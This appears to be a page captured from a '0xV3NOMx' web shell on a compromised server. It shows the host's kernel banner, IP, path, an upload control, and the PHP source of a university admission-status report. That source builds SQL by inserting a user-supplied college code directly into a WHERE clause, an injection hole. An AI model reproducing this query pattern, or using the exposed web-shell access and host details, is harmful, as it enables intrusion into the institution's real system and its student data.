0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.37.129


Current Path : /var/www/html/nehu/src/
Upload File :
Current File : /var/www/html/nehu/src/admission_entry_status.php

<?php
class admission_status
{
	public $internal_code;
	
		function __construct($aobj_context)
		{
			session_start();
			$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
			$this->aobj_context=$aobj_context; 			
			$this->college_code=trim($aobj_context->mobj_data["admission_status_college_code"]);
            $this->coll_cond='';
            if(!empty($this->college_code))	
              {
			   $this->coll_cond=" where FCOLLCODE='{$this->college_code}' ";
			  }			
		}  
		function getAllIAdmissionStatus()
		{
		  	
			$get_admission_status = "select FCOLLCODE,FDEGREE, count(distinct FSLNO) as status_count from student {$this->coll_cond}
									 group by  FCOLLCODE,FDEGREE ";	  
			 $lobj_get_admission_status = $this->aobj_context->mobj_db->getAll($get_admission_status);			 
			 
			$e_data.="<table  align = 'center' width='100%' cellspacing='0' cellpadding='1' border='0' >";
			$e_data.="<th align='left' colspan='6' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Admission Status</th>";
			$e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>";
			$e_data.="<td align='center' style='width:155px; font-size:12px;  border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>College Code</td>";
			$e_data.="<td align='center' style='width:155px; font-size:12px;  border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Degree Name</td>";
			$e_data.="<td align='center' style='width:155px; font-size:12px;   border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Admission Status</td>";			
			$e_data.="</tr>";											
			
				$id=0;
				foreach($lobj_get_admission_status as $key=>$val)
					{ 									
						$e_data.="<tr class='ui-widget-content jqgrow'>";	
						$e_data.="<td class='tbl_row_new' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' id='admission_status_college_code_{$id}' >{$val[FCOLLCODE]}</td>";				
						$e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' id='admission_status_degree_code_{$id}' >{$val[FDEGREE]}</td>";
						$e_data.="<td class='tbl_row_new' style='text-align:center; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; '  id='admission_status_{$id}' >{$val[status_count]}</td>";						
						$e_data.="</tr>";	
						$id++;						
					}
				$e_data.="</table>";			
				$arr['html']=$e_data;
				echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  				
			}			 	
	}			
	
	function getAllIAdmissionStatus($aobj_context)
	{
		$admission_status_obj=new admission_status($aobj_context);
		$admission_status_obj->getAllIAdmissionStatus();		
		
	}
 
?>